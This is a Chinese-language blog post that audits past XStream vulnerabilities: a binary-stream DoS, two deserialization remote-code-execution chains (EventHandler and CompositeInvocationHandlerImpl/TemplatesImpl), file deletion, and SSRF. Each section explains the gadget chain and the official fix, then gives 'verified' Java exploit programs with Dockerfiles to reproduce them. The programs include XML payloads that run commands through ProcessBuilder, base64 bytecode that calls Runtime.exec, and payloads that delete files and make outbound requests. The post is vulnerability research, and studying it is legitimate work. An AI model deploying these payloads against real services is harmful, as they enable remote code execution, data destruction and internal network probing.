找回密码
 立即注册
首页 业界区 业界 Xstream历史漏洞审计

Xstream历史漏洞审计

讲怔 4 天前
CVE-2024-47072 栈溢出DOS

i. 审计过程

首先了解Token,这是Xstream自己定义的黑话


  • TYPE_START_NODE = 3:开始标签。相当于 XML 里的 。
  • TYPE_END_NODE = 4:结束标签。相当于 XML 里的 。
  • TYPE_ATTRIBUTE = 5:属性。相当于 XML 里的 id="123"。
  • TYPE_VALUE = 6:文本值。相当于标签里的具体内容,比如 test_user。
  • TYPE_MAP_ID_TO_VALUE = 2:存字典指令,告诉程序先记下一个 ID 和字符串的对应关系,方便后面简写。
问题出在readToken()函数里被选中的两行中,

当token为2的时候程序默认要存入一个字典,进入分支之后开始取ID取value

当攻击者传入如下数据时,10为2+8得来,2代表要存入字典、8代表ID占一个字节、-127为随意取值,0,0代表存入的内容是空的。

当程序执行完存入字典的流程后,函数继续调用自身return this.readToken(); 但上一个流程还没关闭,也就导致了无限递归。
ii. Commit Diff


开发者修复方式是在此处添加了一个do While循环,利用 continue解决了递归问题,同时在下面添加了mapping = !mapping;的翻转,规避掉了连续两次存入字典的情况。
iii. POC

官方POC


已验证POC
  1. package org.example;    import com.thoughtworks.xstream.XStream;  import com.thoughtworks.xstream.io.binary.BinaryStreamDriver;  import java.io.ByteArrayInputStream;    public class Exploit {      public static void main(String[] args) {          System.out.println("
  2. [*] 正在构造恶意二进制流...");            // 构造特定的字节数组,诱导 BinaryStreamDriver 进入无限递归          final byte[] byteArray = new byte[40000];          for (int i = 0; i < byteArray.length / 4; i++) {              byteArray[i * 4] = 10;              byteArray[i * 4 + 1] = -127;            byteArray[i * 4 + 2] = 0;              byteArray[i * 4 + 3] = 0;          }            try {            XStream xstream = new XStream(new BinaryStreamDriver());                System.out.println("
  3. [*] 开始反序列化...");              xstream.fromXML(new ByteArrayInputStream(byteArray));            } catch (StackOverflowError e) {              System.err.println("\n[!] 成功触发漏洞");          } catch (Exception e) {              e.printStackTrace();          }      }  }
复制代码


iiii. 漏洞环境
  1. FROM maven:3.8-openjdk-11-slim AS build  WORKDIR /app    COPY pom.xml .  RUN mvn dependency:go-offline    COPY src/main/java/org/example/Exploit.java /app/src/main/java/Exploit.java    RUN mvn compile -Dmaven.compiler.source=11 -Dmaven.compiler.target=11    CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.Exploit"]
复制代码
  1.         4.0.0      com.poc      xstream-dos-reproduction      1.0                              com.thoughtworks.xstream              xstream              1.4.20                                                                org.codehaus.mojo                  exec-maven-plugin                  3.1.0                                
复制代码

docker build -t xstream-cve-2024-47072 .
docker run --rm xstream-cve-2024-47072
CVE-2013-7285 反序列化

i. 审计过程

根据POC逆推,这个洞可以看标签推出来。首先sorted-set可以在Xstream.java中看到this.alias("sorted-set", SortedSet.class);可知sorted-set对应SortedSet

跟进可以看到这个SortedSet是个接口并无构造方法,于是找默认实现类
在Xstream.java中的setupDefaultImplementations方法中可以看到SortedSet的默认实现类是TreeSet,于是跟进TreeSet(注意此处内存中就已经是一个TreeSet实例了)

发现这里也是接口,但没断掉,因为下面有个this(new TreeMap()),当Xstream检测到TreeMap已经被创建好了就回去使用CollectionConverter.class中的populateCollection函数解析XML标签。


看下调用堆栈

继续往下走发现走到了重载的方法里

于是就又是moveDown()  moveUp
其中moveDown()是为了跳进XML下一层节点
跟进addCurrentElementToCollection

target.add(item);中的target就是之前new的那个TreeMap,而此处的item就是POC中的第二个节点,也就是动态代理

但是调试信息中显示item是touch,这就是一个问题所在。
看一下调用堆栈

发现touch在最底下,在target.add(item)处打个断点就可以看到item变了

跟踪调试就能发现程序是通过populateCollection函数中的while去把栈里的元素挨个轮一遍,最后item归到的就是动态代理。

当item归到动态代理之后,由于之前说过创建的是TreeSet实例,所以会跳到下图中的add方法,里面的e就是item,也就是刚才的动态代理

再跟进put方法

里面有compare,再跟会发现里面有compareTo
这个时候问题就来了,compareTo里面的K就是动态代理,它向程序声明自己有compareTo方法,但实际上它将程序动态代理至EventHandler,而EventHandler本身不会在意动态代理转过来的参数,它只在乎自己收到了invoke请求,然后去执行攻击者所写的代码:ProcessBuilder.start()。这就是完整的链子。
ii. Commit Diff

第一步、基础安全框架


虽然还是默认允许any但是用户和开发者可以通过securityMapper添加黑名单类

看一下securityMapper,貌似是白名单

但实际上在Xstream.java里面已经开完权限了,所以还是黑名单.

第二步、拦截动态代理

官方第二步的修复方法是把java.beans.EventHandler加了黑名单并且给开发者提供了denyTypes,例如调用xstream.denyTypes(new String[]{"java.beans.EventHandler"})时先允许any后封禁EventHandler。

https://github.com/x-stream/xstream/commit/6344867dce6767af7d0fe34fb393271a6456672d
iii. POC

官方POC
  1.   org.company.model.Contact                    calc.exe              start  XStream xstream = new XStream();Contact contact = (Contact)xstream.fromXML(xml);
复制代码
已验证POC
  1. import com.thoughtworks.xstream.XStream;  import com.thoughtworks.xstream.security.AnyTypePermission;  import java.io.File;    public class CVE_2013_7285_POC {      public static void main(String[] args) {          XStream xstream = new XStream();          xstream.addPermission(AnyTypePermission.ANY);          String xml = "\n" +                  "  \n" +                  "    java.lang.Comparable\n" +                  "    \n" +                  "      \n" +                  "        \n" +                  "          touch\n" +                  "          /tmp/cve-2013-7285-pwned.txt\n" +                  "        \n" +                  "      \n" +                  "      start\n" +                  "    \n" +                  "  \n" +                  "";            System.out.println("
  2. [*] 正在加载 CVE-2013-7285 Payload...");            try {              xstream.fromXML(xml);            System.out.println("[+] Payload 执行完成");          } catch (Exception e) {              System.err.println("[!] 异常信息: " + e.getMessage());          }          // 验证文件是否创建          File f = new File("/tmp/cve-2013-7285-pwned.txt");          if (f.exists()) {              System.out.println("[✓] 漏洞利用成功!文件已创建");          } else {              System.out.println("[✗] 漏洞利用失败,文件未创建");          }    }}
复制代码
iiii. 漏洞环境
  1.                 com.thoughtworks.xstream          xstream          1.4.17                      xmlpull          xmlpull          1.1.3.1                      xpp3          xpp3_min          1.1.4c        
复制代码
  1. FROM eclipse-temurin:8-jdk    WORKDIR /app  ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar  ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar  ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jarCOPY CVE_2013_7285_POC.java /app/CVE_2013_7285_POC.java  RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" CVE_2013_7285_POC.java  CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar CVE_2013_7285_POC"]
复制代码

CVE-2021-39149 反序列化

i. 审计过程

payload最外层节点变成了linked-hash-set,直接去Xstream.java里看吧

跟进发现是个接口类

于是往下跟父类,在父类中找到add()方法

再跟put()->hash()->hashcode(),这个点先按下不表

接着看POC子节点,dynamic-proxy依旧动态代理。声明自己有一个map方法,实际上当程序调用这个“map”之后走的是CompositeInvocationHandlerImpl
既然动态代理声明自己是map了程序就觉得你肯定有hashcode吧,什么原因看上文。
转到CompositeInvocationHandlerImpl之后通过invoke方法直接触发危险类

这个invoke方法感觉问题还是很大,有空看看最新源码,感觉还是有问题。
它的作用主要是查看当前被调用的方法是属于哪个类的,有没有对应handler处理,有的话交过去,没有的话走默认handler。
攻击的大致链路就如下:

  • HashMap 调用 proxy.hashCode()。
  • hashCode 方法属于 java.lang.Object 类。
  • CompositeInvocationHandlerImpl 的 invoke 被触发,它去查自己的 Map。
  • 它发现:针对 Object 类的方法(hashCode),有一个现成的 DTraceProbe 处理器。
  • DTraceProbe能反射且参数可控(如下图)

ii. Commit Diff

改成默认白名单了

https://github.com/x-stream/xstream/compare/XSTREAM_1_4_17...XSTREAM_1_4_18
iii. POC

官方POC

已验证POC
  1. package org.example;    import com.thoughtworks.xstream.XStream;  import com.thoughtworks.xstream.security.AnyTypePermission;    public class FinalExploit {      public static void main(String[] args) {          XStream xstream = new XStream();           xstream.addPermission(AnyTypePermission.ANY);    String xml = "\n" +                  "  \n" +                  "    map\n" +                  "    \n" +                  "      \n" +                  "      \n" +                  "        true\n" +                  "        java.lang.Object\n" +                  "        \n" +                  "          \n" +                  "            \n" +                  "              java.lang.Object\n" +                  "              hashCode\n" +                  "              \n" +                  "            \n" +                  "            \n" +                  "              \n" +                  "                \n" +                  "                  \n" +                  "                    Pwnr\n" +                  "                    \n" +                  "                      yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=\n" +                  "                      yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ\n" +                  "                    \n" +                  "                    -1\n" +                  "                    0\n" +                  "                  \n" +                  "false                \n" +                  "              \n" +                  "              \n" +                  "                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\n" +                  "                getOutputProperties\n" +                  "                \n" +                  "              \n" +                  "            \n" +                  "          \n" +                  "        \n" +                  "      \n" +                  "    \n" +                  "  \n" +                  "";            System.out.println("
  2. [*] 正在加载二进制 Payload,准备执行命令...");            try {              xstream.fromXML(xml);          } catch (Exception e) {              System.out.println("[+] 执行完成。");          }      }  }
复制代码
  1. import com.thoughtworks.xstream.XStream;  import com.thoughtworks.xstream.security.AnyTypePermission;  import java.io.File;    public class FinalExploit {      public static void main(String[] args) {          XStream xstream = new XStream();          xstream.addPermission(AnyTypePermission.ANY);          // Linux创建文件的ProcessBuilder Payload          String xml = "\n" +                  "  \n" +                  "    map\n" +                  "    \n" +                  "      \n" +                  "      \n" +                  "        true\n" +                  "        java.lang.Object\n" +                  "        \n" +                  "          \n" +                  "            \n" +                  "              java.lang.Object\n" +                  "              hashCode\n" +                  "              \n" +                  "            \n" +                  "            \n" +                  "              \n" +                  "              \n" +                  "                \n" +                  "                  touch\n" +                  "                  /tmp/pwned.txt\n" +                  "                \n" +                  "              \n" +                  "              \n" +                  "                java.lang.ProcessBuilder\n" +                  "                start\n" +                  "                \n" +                  "              \n" +                  "            \n" +                  "          \n" +                  "        \n" +                  "      \n" +                  "    \n" +                  "  \n" +                  "";            System.out.println("
  2. [*] 正在加载 ProcessBuilder Payload...");            try {              xstream.fromXML(xml);            System.out.println("[+] Payload 执行完成");          } catch (Exception e) {              System.err.println("[!] 异常信息: " + e.getMessage());              e.printStackTrace();        }          // 检查文件          File f = new File("/tmp/pwned.txt");          if (f.exists()) {              System.out.println("[✓] 漏洞利用成功!/tmp/pwned.txt 已创建");          } else {              System.out.println("[✗] 漏洞利用失败,文件未创建");          }    }}```#### iiii. 漏洞环境```xml                com.thoughtworks.xstream          xstream          1.4.17                      xmlpull          xmlpull          1.1.3.1                      xpp3          xpp3_min          1.1.4c        
复制代码
iiii. 漏洞环境
  1. FROM eclipse-temurin:8-jdk    WORKDIR /app    RUN apt-get update && apt-get install -y bash    ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar  ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar  ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar    COPY FinalExploit.java /app/FinalExploit.java    RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" FinalExploit.java    CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar FinalExploit"]
复制代码
  1.                 com.thoughtworks.xstream          xstream          1.4.17                      xmlpull          xmlpull          1.1.3.1                      xpp3          xpp3_min          1.1.4c        
复制代码

CVE_2020_26259 任意文件删除

i. 审计过程

这个漏洞的本质其实和好多反射致使RCE差不多,攻击者可以通过正常思路RCE,官方封RCE的类,然后攻击者利用其他非RCE的类攻击,例如SQL注入、文件创建、文件删除等等。
简单跟一下吧
跟到putCurrentEntryIntoMap

进put后再进hashcode(此时的getStringValue中的toString 函数,这个value是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data)

到toString()再跟get()

漏洞的正常思路是通过此处的is.close();去关闭文件的,下断点必须要在try里面下不然看不到进try的过程,因为下断点的话可以看到this.data = null return之后变成一堆0,但如果不在里面下断点的话程序会跳过直接return一堆0回来,看得我莫名其妙。

ii. Commit Diff

官方使用黑名单形式添加了.*\\.ReadAllStream\\$FileStream进行处理,治标不治本。

iii. POC

官方POC:
  1.     public void testCannotUseJaxwsInputStreamToDeleteFile() {        if (JVM.isVersion(5)) {            final String xml = ""                + "\n"                + " target/junit/test.txt\n"                + "";            xstream.aliasType("is", InputStream.class);            try {                xstream.fromXML(xml);                fail("Thrown " + ConversionException.class.getName() + " expected");            } catch (final ForbiddenClassException e) {                // OK            }        }    }    public void testExplicitlyUseJaxwsInputStreamToDeleteFile() throws IOException {        if (JVM.isVersion(5)) {            final File testDir = new File("target/junit");            final File testFile = new File(testDir, "test.txt");            try {                testDir.mkdirs();                final OutputStream out = new FileOutputStream(testFile);                out.write("JUnit".getBytes());                out.flush();                out.close();                assertTrue("Test file " + testFile.getPath() + " does not exist.", testFile.exists());                final String xml = ""                    + "\n"                    + " target/junit/test.txt\n"                    + "";                xstream.addPermission(AnyTypePermission.ANY); // clear out defaults                xstream.aliasType("is", InputStream.class);                InputStream is = null;                try {                    is = (InputStream)xstream.fromXML(xml);                } catch (final ForbiddenClassException e) {                    // OK                }                assertTrue("Test file " + testFile.getPath() + " no longer exists.", testFile.exists());                byte[] data = new byte[10];                is.read(data);                is.close();                assertFalse("Test file " + testFile.getPath() + " still exists exist.", testFile.exists());            } finally {                if (testFile.exists()) {                    testFile.delete();                }                if (testDir.exists()) {                    testDir.delete();                }            }        }    }
复制代码
已验证POC:
  1. package org.example;    import com.thoughtworks.xstream.XStream;  import com.thoughtworks.xstream.security.AnyTypePermission;  import java.io.File;  import java.nio.file.Files;  import java.nio.file.Paths;    public class Exploit {      public static void main(String[] args) throws Exception {          String targetPath = System.getProperty("os.name").toLowerCase().contains("windows")                  ? "victim.txt"                  : "/tmp/victim.txt";            Files.write(Paths.get(targetPath), "Exploit Success".getBytes());          File f = new File(targetPath);          System.out.println("
  2. [*] Target file: " + f.getAbsolutePath() + " exists: " + f.exists());            XStream xstream = new XStream();          String xml_poc = "\n" +                  "  \n" +                  "    \n" +                  "      0\n" +                  "      \n" +                  "        \n" +                  "          \n" +                  "            text/plain\n" +                  "            \n" +                  "              " + f.getAbsolutePath() + "\n" +                  "            \n" +                  "          \n" +                  "          \n" +                  "        \n" +                  "        0\n" +                  "      \n" +                  "    \n" +                  "    test\n" +                  "  \n" +                  "";            System.out.println("
  3. [*] Triggering exploit via ReadAllStream$FileStream...");          try {              xstream.fromXML(xml_poc);          } catch (Exception e) {          }            System.gc();          System.runFinalization();          Thread.sleep(1000);            System.out.println("
  4. [*] Exploit Check:");          if (!f.exists()) {              System.out.println("\n[SUCCESS] CVE-2020-26259 Reproduced! File Deleted.");          } else {              System.out.println("\n[FAILED] File still exists. Try checking if ReadAllStream$FileStream exists in this JDK.");          }      }  }
复制代码
iiii. 漏洞环境

Dockerfile:
  1. FROM maven:3.8.4-jdk-8-slim AS builder  WORKDIR /app  COPY pom.xml .  RUN mvn dependency:go-offline  COPY src ./src  RUN mvn package -DskipTests      FROM eclipse-temurin:8-jre  WORKDIR /app    COPY --from=builder /app/target/*-with-dependencies.jar app.jar  CMD ["java", "-jar", "app.jar"]
复制代码
pom.xml
  1.         4.0.0      com.poc      xstream-dos-reproduction      1.0                              com.thoughtworks.xstream              xstream              1.4.14                                                                org.codehaus.mojo                  exec-maven-plugin                  3.1.0                                              org.apache.maven.plugins                  maven-assembly-plugin                  3.3.0                                                                  jar-with-dependencies                                                                                                    org.example.Exploit                                                                                                                                    make-assembly                          package                                                        single                                                                                                  
复制代码

CVE-2020-26258 SSRF

i. 审计过程

和任意文件删除一样都是基于CVE-2020-26257的漏洞,跟CVE-2020-26259也一样只不过一个是删文件的工具类一个是探测网络的工具类。
前半段都是putCurrentEntryIntoMap、hashCode()、toString()、Base64data()、get()等等

SSRF利用的就是getInputStream

ii. Commit Diff


黑名单,应该是最后一波黑名单了。
iii. POC

官方POC
  1.             0                                    http://localhost:8080/internal/:                                    0              test  XStream xstream = new XStream();xstream.fromXML(xml);
复制代码
已验证POC
  1. package org.example;    import com.thoughtworks.xstream.XStream;    public class CVE_2020_26258 {      public static void main(String[] args) {          String ssrf_xml = "\n" +                  "  \n" +                  "    \n" +                  "      0\n" +                  "      \n" +                  "        \n" +                  "          \n" +                  "            http://dnslog url/:\n" +                  "          \n" +                  "          \n" +                  "        \n" +                  "        0\n" +                  "      \n" +                  "    \n" +                  "    test\n" +                  "  \n" +                  "";            XStream xstream = new XStream();          xstream.fromXML(ssrf_xml);      }  }
复制代码
iiii. 漏洞环境
  1. FROM maven:3.8.1-jdk-8    WORKDIR /app    RUN mkdir -p src/main/java/org/example    RUN echo '4.0.0org.exampledemo1.0com.thoughtworks.xstreamxstream1.4.14' > pom.xml    COPY CVE_2020_26258.java src/main/java/org/example/CVE_2020_26258.java    RUN mvn compile    CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.CVE_2020_26258"]
复制代码
  1.         4.0.0        org.example      xstream-poc      1.0                  1.8          1.8                                                com.thoughtworks.xstream              xstream              1.4.14                                                                  org.apache.maven.plugins                  maven-compiler-plugin                  3.8.1                                        1.8                      1.8                                                  
复制代码

docker build -t xstream-ssrf .
docker run --rm xstream-ssrf
出处:https://www.cnblogs.com/hongzh0/本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册